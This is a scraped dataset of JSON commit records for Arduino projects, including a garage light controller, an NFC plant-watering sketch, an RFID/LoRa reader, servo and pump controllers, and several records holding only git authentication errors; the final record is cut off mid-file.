{"commit":"31a1ce46de0d7c221de25dd170548cc2416c2ec3","subject":"Create garage.ino","message":"Create garage.ino","repos":"sleeperor\/breadboards","old_file":"garage.ino","new_file":"garage.ino","new_contents":"\n#if defined(__AVR_ATtiny85__)\n#include <LowPowerAttiny.h>\n#else\n#include <LowPower.h>\n#endif\n\n#if defined(__AVR_ATtiny85__)\n#define PIN_MOTION PB0\n#define PIN_TRIG PB1\n#define PIN_ECHO PB2\n#define PIN_PWR PB3\n#define PIN_LED PB4\n#else\n#define PIN_MOTION PD2\n#define PIN_TRIG PD4\n#define PIN_ECHO PD5\n#define PIN_PWR PD6\n#define PIN_LED PB5\n#endif\n\n#define CAR_MISSING_DISTANCE 100\n#define CAR_MISSING_TIMEOUT 5\n#define CAR_PRESENT_TIMEOUT 20\n\n#if defined(__AVR_ATtiny85__)\n#define digitalPinToInterrupt(p) ( (p) == 2 ? 0 : ((p) == 3 ? 1 : -1) )\n#endif\n\n#if !defined(__AVR_ATtiny85__)\n\/\/#define SERIAL_DEBUG\n#endif\n\nvolatile static bool motionSensorState = LOW;\nvolatile static signed char lightOnTimeout = -1;\n\nvoid motionSensorISR() {\n motionSensorState = digitalRead(PIN_MOTION);\n}\n\nvoid lightOn() {\n#if defined(SERIAL_DEBUG)\n Serial.println(\"lightOn\");\n Serial.flush();\n#endif\n digitalWrite(PIN_LED, HIGH);\n LowPower.powerDown(SLEEP_1S, ADC_OFF, BOD_OFF);\n}\n\nvoid lightOff() {\n#if defined(SERIAL_DEBUG)\n Serial.println(\"lightOff\");\n Serial.flush();\n#endif\n digitalWrite(PIN_LED, LOW);\n LowPower.powerDown(SLEEP_FOREVER, ADC_OFF, BOD_OFF);\n}\n\nunsigned char microsecondsToCentimeters(unsigned long microseconds) {\n return microseconds \/ 29 \/ 2;\n}\n\nlong measureDistance() {\n digitalWrite(PIN_PWR, HIGH);\n digitalWrite(PIN_TRIG, LOW);\n delayMicroseconds(2);\n digitalWrite(PIN_TRIG, HIGH);\n delayMicroseconds(10);\n digitalWrite(PIN_TRIG, LOW);\n digitalWrite(PIN_PWR, LOW);\n\n return microsecondsToCentimeters(pulseIn(PIN_ECHO, HIGH));\n}\n\nbool isCarInside() {\n return measureDistance() > CAR_MISSING_DISTANCE;\n}\n\nbool movementDetected() {\n return motionSensorState == HIGH;\n}\n\nbool noMovementDetected() {\n return !movementDetected();\n}\n\n\nvoid setup() {\n\n#if defined(SERIAL_DEBUG)\n Serial.begin(115200);\n#endif\n\n pinMode(PIN_MOTION, INPUT);\n pinMode(PIN_TRIG, OUTPUT);\n pinMode(PIN_ECHO, INPUT);\n pinMode(PIN_PWR, OUTPUT);\n pinMode(PIN_LED, OUTPUT);\n\n attachInterrupt(digitalPinToInterrupt(PIN_MOTION), motionSensorISR, CHANGE);\n\n#if defined(SERIAL_DEBUG)\n Serial.println(\"Init complete\");\n Serial.flush();\n#endif\n\n digitalWrite(PIN_PWR, LOW);\n lightOff();\n}\n\nvoid loop() {\n#if defined(SERIAL_DEBUG)\n Serial.println();\n#endif\n\n if (movementDetected()) {\n lightOnTimeout = -1;\n lightOn();\n }\n\n if (noMovementDetected()) {\n if (lightOnTimeout < 0) {\n lightOnTimeout =\n isCarInside() ? CAR_PRESENT_TIMEOUT : CAR_MISSING_TIMEOUT;\n#if defined(SERIAL_DEBUG)\n Serial.print(\"Setting timeout \");\n Serial.println(lightOnTimeout);\n#endif\n lightOn();\n } else if (lightOnTimeout == 0) {\n lightOnTimeout--;\n lightOff();\n return;\n } else {\n lightOnTimeout--;\n#if defined(SERIAL_DEBUG)\n Serial.print(\"Current timeout \");\n Serial.println(lightOnTimeout);\n#endif\n lightOn();\n }\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'garage.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ae2ed1ce2a1d8743fb62bbd48bcec35e0886975d","subject":"Start","message":"Start\n\n","repos":"DaveCalaway\/ESP8266,DaveCalaway\/ESP8266","old_file":"Arduino\/ESP8266\/Telegram_bot\/FlashLed\/FlashLed.ino","new_file":"Arduino\/ESP8266\/Telegram_bot\/FlashLed\/FlashLed.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DaveCalaway\/ESP8266.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"938cf970198698590b40363810cff32afebf6b4a","subject":"Added src directory","message":"Added src directory\n","repos":"labfab\/vitrines-io,labfab\/vitrines-io,labfab\/vitrines-io,labfab\/vitrines-io","old_file":"src\/PCF8575_i2c_Arduino.ino","new_file":"src\/PCF8575_i2c_Arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/labfab\/vitrines-io.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"7b92f8e34b21a0f0e9aeff2befa08bef60e478a2","subject":"A few changes to GPS+Serial, still far from finished","message":"A few changes to GPS+Serial, still far from finished\n","repos":"quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack","old_file":"Arduino\/GPS+Serial\/GPS+Serial.ino","new_file":"Arduino\/GPS+Serial\/GPS+Serial.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/quinten991\/PenO3OnTrack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b11fbcfa4fdce25031968883fb67c65602a49795","subject":"Add ino","message":"Add ino\n","repos":"nfcwormhole\/NFC-Flower","old_file":"Arduino\/nfc_flower\/nfc_flower.ino","new_file":"Arduino\/nfc_flower\/nfc_flower.ino","new_contents":"#include <dht11.h>\n#include <EEPROM.h>\n\ndht11 DHT11;\n#define DHT11PIN 12 \/\/define DHT11 pin\n#define RELAY 2 \/\/define relay pin\n\/* Copyright 2013 Ten Wong, wangtengoo7@gmail.com \n* \n*\/\n\n\/*********************************************************\n** sample: when reset the rf430, it will write the uri to \n** rf430 tag.\n***********************************************************\/\n#if ARDUINO >= 100\n #include \"Arduino.h\"\n#else\n #include \"WProgram.h\"\n#endif\n#include <Wire.h>\n#include <RF430CL330H_Shield.h>\n#include <NdefMessage.h>\n#include <NdefRecord.h>\n\n\n\/\/#define IRQ (7)\n\/\/#define RESET (6) \n\/\/use UNO\n#define IRQ (3)\n#define RESET (4)\nint led = 13;\nRF430CL330H_Shield nfc(IRQ, RESET);\n\nbyte uri[] = \"http:\/\/www.elecfreaks.com\";\nbyte flower[] = \"flower\";\nbyte humidity[] = \"humidity\";\nbyte temperature[] = \"temperature\";\nbyte water[] = \"water\";\nbyte setting[] = \"setting\";\n\nvolatile byte into_fired = 0;\nuint16_t flags = 0;\nuint16_t read_num = 0;\nuint16_t write_num = 0;\nuint8_t loop_num = 0;\n\n\/\/ start reading from the first byte (address 0) of the EEPROM\nint address = 0;\nbyte hum;\nbyte temp;\n\nvoid setup(void) \n{\n Serial.begin(115200); \n Serial.println(\"Hello!\");\n pinMode(led, OUTPUT); \n digitalWrite(led, HIGH);\n pinMode(RELAY,OUTPUT);\n digitalWrite(RELAY,LOW);\n nfc.begin();\n if(EEPROM.read(address+2)!=1)\n {\n EEPROM.write(address, 50);\/\/humidity\n EEPROM.write(address+1, 30);\/\/temperature\n EEPROM.write(address+2,1);\n }\n \/\/\/ init data here\n Restore_Default();\/\/write sensor data to DNFC TAG\n \/\/Serial.println(EEPROM.read(address));\n \/\/ Serial.println(EEPROM.read(address+1));\n \/\/enable interrupt 1\n attachInterrupt(1, RF430_Interrupt, FALLING);\n Serial.println(\"Wait for read or write...\");\n Serial.println(\"DHT11 TEST PROGRAM \");\n Serial.print(\"LIBRARY VERSION: \");\n Serial.println(DHT11LIB_VERSION);\n}\n\nvoid loop(void) \n{\n \/\/hum = EEPROM.read(address);\n \/\/temp = EEPROM.read(address+1);\n \n if(into_fired)\n {\n \/\/clear control reg to disable RF\n nfc.Write_Register(CONTROL_REG, INT_ENABLE + INTO_DRIVE); \n delay(750);\n \n \/\/read the flag register to check if a read or write occurred\n flags = nfc.Read_Register(INT_FLAG_REG); \n \/\/Serial.print(\"INT_FLAG_REG = 0x\");Serial.println(flags, HEX);\n\n \/\/ACK the flags to clear\n nfc.Write_Register(INT_FLAG_REG, EOW_INT_FLAG + EOR_INT_FLAG); \n\n if(flags & EOW_INT_FLAG) \/\/check if the tag was written\n {\n write_num++;\n Serial.print(\"tag be written times = \");Serial.println(write_num);\n Serial.println(\"33333\");\n \/\/do customer operator\n flower_operator();\n Serial.println(\"1111111\");\n \/\/immediately Restore Default data\n Restore_Default();\n Serial.println(\"222222\");\n }\n else if(flags & EOR_INT_FLAG) \/\/check if the tag was read\n {\n read_num++;\n Serial.print(\"tag be readed times = \");Serial.println(read_num);\n digitalWrite(led, LOW);\n delay(1000);\n digitalWrite(led, HIGH);\n }\n\n flags = 0;\n into_fired = 0; \/\/we have serviced INT1\n\n \/\/Configure INTO pin for active low and re-enable RF\n nfc.Write_Register(CONTROL_REG, INT_ENABLE + INTO_DRIVE + RF_ENABLE);\n\n \/\/re-enable INTO\n attachInterrupt(1, RF430_Interrupt, FALLING);\n }\n\/\/\n if (DHT11.humidity < EEPROM.read(address)) \/\/auto control relay watering\n {\n digitalWrite(RELAY,HIGH);\n delay(2000);\n digitalWrite(RELAY,LOW);\n }\n if (loop_num == 50) \/\/5s refresh tag\n {\n Restore_Default();\n Serial.println(\"refersh memory\");\n loop_num = 0;\n }\n else\n loop_num++;\n\n delay(100);\n}\n\n\/**\n** @brief interrupt service\n**\/\nvoid RF430_Interrupt() \n{\n into_fired = 1;\n detachInterrupt(1);\/\/cancel interrupt\n}\n\nboolean ByteArrayCompare(byte a[], byte b[], uint8_t array_size)\n{\n for (int i = 0; i < array_size; i++)\n if (a[i] != b[i])\n return false;\n return true;\n}\n\nvoid Restore_Default()\n{\n int chk = DHT11.read(DHT11PIN);\n NdefRecord records[4];\n \/** here get data from sensor **\/\n \/\/get sensor data\n byte exData0[] = {60}; \/\/humidity 60% form sensor \n byte exData1[] = {24}; \/\/temperature 24 C form sensor \n byte exData2[] = {50}; \/\/humidity 50% warm line 50%\n exData0[0] = DHT11.humidity;\n exData1[0] = DHT11.temperature;\n Serial.println(exData0[0]);\n Serial.println(exData1[0]);\n \/\/Serial.println( DHT11.temperature);\n records[0].createUri(\"http:\/\/www.elecfreaks.com\");\n records[1].createExternal(\"flower\", \"humidity\", exData0, sizeof(exData0));\n records[2].createExternal(\"flower\", \"temperature\", exData1, sizeof(exData1));\n records[3].createExternal(\"flower\", \"setting\", exData2, sizeof(exData2));\n \n NdefMessage msg(records, sizeof(records)\/sizeof(NdefRecord));\n uint16_t msg_length = msg.getByteArrayLength();\n byte message[msg_length];\n msg.toByteArray(message);\n nfc.Write_NDEFmessage(message, msg_length);\n}\n\nvoid flower_operator()\n{\n byte domin[6];\n nfc.Read_Continuous(0x32, domin, 6);\n if (ByteArrayCompare(domin, flower, 6))\n {\n byte type[10];\n nfc.Read_Continuous(0x39, type, 10);\n Serial.println(\"xxxxxx\");\n \n if (ByteArrayCompare(type, water, sizeof(water)-1)) \/\/ -1 because do not compare '\\0'\n {\n Serial.println(\"yyyyyy\");\n if (nfc.Read_OneByte(0x3E)) \n {\n Serial.println(\"water\"); \n \/\/deal with relay\n digitalWrite(RELAY,HIGH);\n delay(2000);\n digitalWrite(RELAY,LOW);\n }\n \/\/do water flower operate\n }\n else if (ByteArrayCompare(type, setting, sizeof(setting)-1))\n {\n Serial.println(\"zzzzzz\");\n Serial.println(\"setting\");\n \/\/do modify warn line\n Serial.print(\"setdata:\");\n Serial.println(nfc.Read_OneByte(0x40));\n EEPROM.write(address, nfc.Read_OneByte(0x40));\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/nfc_flower\/nfc_flower.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8ef68f670f3154efb7eb22b549407d7a76bdec48","subject":"Readabilty changes","message":"Readabilty changes\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver,tomwagner1999\/SmartHome,tomwagner1999\/SmartHome","old_file":"arduino-server\/arduino-server.ino","new_file":"arduino-server\/arduino-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fd4db4c5f922c19f190a056e960612da04728a2f","subject":"Bumped number of pixels to match final build","message":"Bumped number of pixels to match final build\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e64b169fe110f4ccb221584997d59cf3c3e83f80","subject":"Red LEDs cyka blyat","message":"Red LEDs cyka blyat\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0d88bc2e9be416cab3ad1d2842118331fc6b003d","subject":"add lora version","message":"add lora version","repos":"imac-iot\/japan-hackathon,imac-iot\/japan-hackathon,imac-iot\/japan-hackathon","old_file":"linkit-7688-arduino\/rfid_lora.ino","new_file":"linkit-7688-arduino\/rfid_lora.ino","new_contents":"#include <SPI.h>\n#include <PN532_SPI.h>\n#include \"PN532.h\"\n#include \"TLM926P01A.h\"\n#include <SoftwareSerial.h>\n\nPN532_SPI pn532spi(SPI, 10);\nPN532 nfc(pn532spi);\nString NewMes;\nString OldMes;\n\nvoid setup(void) {\n tlm_init();\n Serial.println(\"Hello!\");\n\n nfc.begin();\n\n uint32_t versiondata = nfc.getFirmwareVersion();\n if (! versiondata) {\n Serial.print(\"Didn't find PN53x board\");\n while (1); \/\/ halt\n }\n \n \/\/ Got ok data, print it out!\n \/*\n Serial.print(\"Found chip PN5\"); \n Serial.println((versiondata>>24) & 0xFF, HEX); \n Serial.print(\"Firmware ver. \"); \n Serial.print((versiondata>>16) & 0xFF, DEC); \n Serial.print('.'); Serial.println((versiondata>>8) & 0xFF, DEC);\n *\/\n nfc.setPassiveActivationRetries(0xFF);\n \n \/\/ configure board to read RFID tags\n nfc.SAMConfig();\n \n Serial.println(\"Waiting for an ISO14443A card\");\n}\n\nvoid loop(void) {\n boolean success;\n uint8_t uid[] = { 0, 0, 0, 0, 0, 0, 0 }; \/\/ Buffer to store the returned UID\n uint8_t uidLength; \/\/ Length of the UID (4 or 7 bytes depending on ISO14443A card type)\n char *cUid = \"00000000\";\n int data = 0;\n success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, &uid[0], &uidLength);\n \n if (success) {\n \/*\n Serial.println(\"Found a card!\");\n Serial.print(\"UID Length: \");\n Serial.print(uidLength, DEC);\n Serial.println(\" bytes\");\n Serial.print(\"UID Value: \");\n *\/\n for (uint8_t i=0; i < uidLength; i++) \n {\n \/\/Serial.print(\" 0x\");Serial.print(uid[i], HEX); \n NewMes = NewMes + String(uid[i],HEX);\n }\n \/\/Serial.println(\"\");\n if(OldMes != NewMes)\n {\n OldMes = NewMes;\n NewMes.toCharArray(cUid, uidLength*2);\n \/\/lora\n \/\/Serial.print(\"lora \");\n \/\/Serial.println(cUid);\n data = tlm_sent_data( cUid , uidLength*2) ;\n testprint( data );\n \/\/Serial.println(\"\");\n }\n \/\/Serial.println(\"New: \" + NewMes );\n \/\/Serial.println(\"Old: \" + OldMes );\n NewMes = \"\";\n \/\/ wait until the card is taken away\n \/\/while (nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, &uid[0], &uidLength)) {}\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'linkit-7688-arduino\/rfid_lora.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"26c55731cfabd19071549fbfc2d64a10424e282a","subject":"Added Blink","message":"Added Blink\n","repos":"ItKindaWorks\/ESP8266,ItKindaWorks\/ESP8266,ItKindaWorks\/ESP8266","old_file":"ArduinoCode\/Blink\/Blink.ino","new_file":"ArduinoCode\/Blink\/Blink.ino","new_contents":"int led = 2;\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() { \n \/\/ initialize the digital pin as an output.\n pinMode(led, OUTPUT); \n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoCode\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"e97dab69cccc721b6fb75d79794a4d72434fad65","subject":"Added Pay()","message":"Added Pay()\n","repos":"ivegotasthma\/washmashine","old_file":"LaundryMachine\/LaundryMachine.ino","new_file":"LaundryMachine\/LaundryMachine.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ivegotasthma\/washmashine.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c1ef5464a05dd7e52254c235cb5301b21c2e3091","subject":"initial opencm code","message":"initial opencm code\n","repos":"FidoProject\/Hardware,FidoProject\/Hardware,FidoProject\/Hardware,FidoProject\/Hardware","old_file":"ThingThree\/Code\/OpenCM\/OpenCM.ino","new_file":"ThingThree\/Code\/OpenCM\/OpenCM.ino","new_contents":"Dynamixel Dxl(1);\n\nvoid setup() {\n\tSerial2.begin(57600);\n\tDxl.begin(3);\n}\n\nbyte blockingRead() {\n\twhile (!Serial2.available()) delay(10);\n\treturn Serial2.read();\n}\n\nboolean readInt(int *outVal) {\n\tbyte inBuffer[sizeof(short)];\n\t\n\n\tfor (int i=0; i<sizeof(short); i++) {\n\t\tinBuffer[i] = blockingRead();\n\t}\n\t\n\t*outVal = *((short*)inBuffer);\t\n\treturn true; \n}\n\nvoid processWrite(byte cmd, byte id) {\n\tswitch (cmd) {\n\t\tcase 'i': \/\/ initialize\n\t\t\tDxl.jointMode(id); \n\t\t\tbreak; \n\t\tcase 'n': \/\/ set new id\n\t\t\tint newID;\n\t\t\tif (!readInt(&newID)) break;\n\t\t\tDxl.setID(id, newID);\n\t\t\tDxl.jointMode(newID);\n\t\t\tbreak;\n\t\tcase 's': \/\/ set speed\n\t\t\tint add, val;\n\t\t\tif (!(readInt(&add) && readInt(&val))) break; \n\t\t\t\/\/Dxl.writeWord(id, add, val);\n\t\t\tDxl.goalSpeed(id, val);\n\t\t\tbreak;\n\t\tcase 'p': \/\/ move to position\n\t\t\tint pos, vel; \n\t\t\tif (!(readInt(&pos) && readInt(&vel))) break; \n\t\t\tDxl.setPosition(id, pos, vel);\n\t\t\tbreak; \n\t\tcase 'g': \/\/ general write command\n\t\t\tint add, val; \n\t\t\tif (!(readInt(&add) && readInt(&val))) break; \n\t\t\tDxl.writeWord(id, add, val);\n\t\t\tbreak;\n\t\t\t\n\t\t\t\/\/ examples of using writeWord()\n\t\t\t\/\/Dxl.writeWord(id, 30, val); \/\/move to Goal Position\n\t\t\t\/\/Dxl.writeWord(id, 32, val); \/\/move at Speed\n\t\t\t\/\/Dxl.writeWord(id, 8, 0); \/\/set wheel mode\n\t}\n}\n\nvoid processRead(byte cmd, byte id) {\n\t\/* gets sent some 'complex' command in the cmd byte and then executes *\/\n\tswitch (cmd) {\n\t\tcase 'j': \/\/ read current joint position\n\t\t\tchar str[4]; \/\/ create an array of characters\n\t\t\tint output = Dxl.readWord(id, 36); \/\/ query the dynamixel\n\t\t\titoa(output, str, 10); \/\/ turns integer to ascii\n\t\t\t\/\/ return Position. Values between 0-999\n\t\t\tSerial2.write(str);\n\t\t\tbreak;\n\t\tcase 's': \/\/ read current speed\n\t\t\tchar str[4]; \/\/ create an array of characters\n\t\t\tint output = Dxl.readWord(id, 38); \/\/ query the dynamixel\n\t\t\titoa(output, str, 10); \/\/ turns integer to ascii\n \t\t\tSerial2.write(str);\n\t\t\tbreak;\n\t}\n}\n\nvoid loop() {\n\t\/\/ wait for a start byte, 'W' for write or 'R' for read\n\twhile (Serial2.available()) {\n\t\tbyte inByte = blockingRead();\n\t\tbyte cmd = blockingRead();\n\t\tbyte id = blockingRead();\n\n\t\t(inByte == 'W') ? processWrite(cmd, id) : processRead(cmd, id);\n\t}\t\t\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ThingThree\/Code\/OpenCM\/OpenCM.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6a4e7b42179e428203a3debc64294f5e9a21fadf","subject":"Add base code","message":"Add base code\n","repos":"MSinnott\/WaterThoseOSV,MSinnott\/WaterThoseOSV","old_file":"Main_Code.ino","new_file":"Main_Code.ino","new_contents":"#include \"Arduino.h\"\n#include \"SoftwareSerial.h\"\n#include \"enes100.h\"\n#include <dfr_tank.h>\n\n#define PI 3.1415926\n\nDFRTank tank;\n\nSoftwareSerial mySerial(8, 9);\nMarker marker(99);\nRF_Comm rf(&mySerial, &marker);\n\nvoid setup(){\n rf.startMission();\n Serial.begin(9600);\n tank.init();\n}\n\nvoid loop(){\n \n delay(10);\n \n if (rf.updateLocation()){\n\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Main_Code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d1cb4516cb7aa1f59451f625aaa265fcb818babd","subject":"Arduino code for Sampler","message":"Arduino code for Sampler","repos":"ibaranov-cp\/heron_water","old_file":"FLC05.ino","new_file":"FLC05.ino","new_contents":"\/*\n FLC05 water auto-sampler\n Clearpath Robotics - 2016\n Takes in int, (-8) -> +8.\n 0 means do nothing\n -ve value means empty that pump (-2 for pump 2, etc\n +ve value means fill that pump (+4 for pump 4, etc)\n Returns system status:\n 0 - Nominal\n 1 - Flush\n * *** NOTE: System can only cycle one pump at a time\n*\/\n\n#include <ros.h>\n#include <std_msgs\/Int8.h>\n#include <std_msgs\/Byte.h>\n\nint CW = 15; \/\/Clockwise (Fill) rotation\nint CCW = 14; \/\/Counter-Clockwise (Empty) rotation\nint Button = 8; \/\/flush button\nint LED = 10;\n\/\/int pumpPins[] = {0,2,7,4,16,17,5,3,6};\nint pumpPins[] = {0, 16, 17, 2, 7, 6, 4, 5, 3};\n\nros::NodeHandle nh;\n\nstd_msgs::Byte sample;\nros::Publisher sample_pub(\"samples\", &sample);\n\nvoid pumpMessage(const std_msgs::Int8& val) {\n for (int i = 1; i < 9; i++) {\n digitalWrite(pumpPins[i], LOW);\n }\n if (val.data != 0) {\n if (abs(val.data) > 8) {\n for (int i = 1; i < 9; i++) {\n digitalWrite(pumpPins[i], HIGH);\n }\n }\n else {\n digitalWrite(pumpPins[abs(val.data)], HIGH);\n }\n if (val.data > 0) {\n digitalWrite(CW, HIGH);\n digitalWrite(CCW, LOW);\n }\n else {\n digitalWrite(CCW, HIGH);\n digitalWrite(CW, LOW);\n }\n }\n}\n\nros::Subscriber<std_msgs::Int8> pump_ctl(\"pump_ctl\", pumpMessage );\n\nvoid setup()\n{\n pinMode(LED, OUTPUT);\n pinMode(CW, OUTPUT);\n digitalWrite(CW, LOW);\n pinMode(CCW, OUTPUT);\n digitalWrite(CCW, LOW);\n \/\/ ready pump pins and disable\n for (int i = 0; i < 8; i++) {\n pinMode(pumpPins[i], OUTPUT);\n digitalWrite(pumpPins[i], LOW);\n }\n nh.initNode();\n\n nh.advertise(sample_pub);\n nh.subscribe(pump_ctl);\n}\n\nvoid loop()\n{\n \/\/ Flush Button\n sample.data = 0;\n if (digitalRead(Button) != HIGH) {\n sample.data = 1;\n }\n \/\/ heartbeat\n digitalWrite(LED, HIGH - digitalRead(LED));\n sample_pub.publish( &sample );\n nh.spinOnce();\n delay(25);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FLC05.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"347aad21bdd90c9202937838639c63422c879f20","subject":"strange even the target does not change \u2026","message":"strange even the target does not change \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"3d6cc4ae095d787c97a0ea899d1cc1378ddae09a","subject":"Adding accelerometer test sketch","message":"Adding accelerometer test sketch\n","repos":"kbarnes3\/Brobot,kbarnes3\/Brobot","old_file":"arduino\/accel_test\/accel_test.ino","new_file":"arduino\/accel_test\/accel_test.ino","new_contents":"\/\/ Accelerometer test sketch\r\n\r\n#include \"Arduino.h\"\r\n\r\nconst int sensorPin = A0;\r\n\r\nvoid setup()\r\n{\r\n Serial.begin(9600);\r\n}\r\n\r\nvoid loop()\r\n{\r\n int analog = analogRead(sensorPin);\r\n char szOutput[6] = {};\r\n\r\n sprintf(szOutput, \"%d\", analog);\r\n Serial.println(szOutput);\r\n delay(10);\r\n}\r\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/accel_test\/accel_test.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"50d8b4cc76875d351caa40f38accf91abcd5a858","subject":"Create ShowIcon.ino","message":"Create ShowIcon.ino","repos":"ht-deko\/microbit_Screen","old_file":"examples\/ShowIcon\/ShowIcon.ino","new_file":"examples\/ShowIcon\/ShowIcon.ino","new_contents":"#include \"microbit_Screen.h\"\n\nvoid setup() {\n SCREEN.begin();\n}\n\nvoid loop() {\n SCREEN.showIcon(IconNames::Yes); \n SCREEN.showIcon(IconNames::No); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ShowIcon\/ShowIcon.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"643fe50b2f67f9d36875f949757a25622bab63a6","subject":"initial OzControlPanel check in + try out scheduler library","message":"initial OzControlPanel check in + try out scheduler library\n","repos":"AaronLieberman\/ArduinoTinkering,AaronLieberman\/ArduinoTinkering,AaronLieberman\/ArduinoTinkering,AaronLieberman\/ArduinoTinkering","old_file":"OzControlPanel\/OzControlPanel.ino","new_file":"OzControlPanel\/OzControlPanel.ino","new_contents":"#include <Arduino.h>\n#include <Scheduler.h>\n#include <Stepper.h>\n#include <Adafruit_NeoPixel.h>\n\nconst int kStepperA1 = 7;\nconst int kStepperA2 = 9;\nconst int kStepperB1 = 11;\nconst int kStepperB2 = 10;\nconst int kNeoPixelsPin = 4;\nconst int kNumberOfNeoPixels = 4;\n\nStepper motor(512, kStepperA1, kStepperA2, kStepperB1, kStepperB2); \nAdafruit_NeoPixel pixels(kNumberOfNeoPixels, kNeoPixelsPin, NEO_GRB + NEO_KHZ800);\n\nvoid setup()\n{\n Serial.begin(115200);\n\n pinMode(kStepperA1, OUTPUT); \n pinMode(kStepperA2, OUTPUT); \n pinMode(kStepperB1, OUTPUT); \n pinMode(kStepperB2, OUTPUT); \n\n pixels.begin();\n pixels.clear();\n motor.setSpeed(10);\n\n Scheduler.startLoop(loop2);\n\/\/ OCR0A = 0xAF;\n\/\/ TIMSK0 |= _BV(OCIE0A);\n}\n\n\/\/bool _ledOn = false;\n\/\/int _millisTillNextUpdate = 0;\n\/\/SIGNAL(TIMER0_COMPA_vect)\n\/\/{\n\/\/ if (_millisTillNextUpdate <= 0)\n\/\/ {\n\/\/ _ledOn = !_ledOn;\n\/\/ digitalWrite(LED_BUILTIN, _ledOn);\n\/\/ }\n\/\/ \n\/\/ 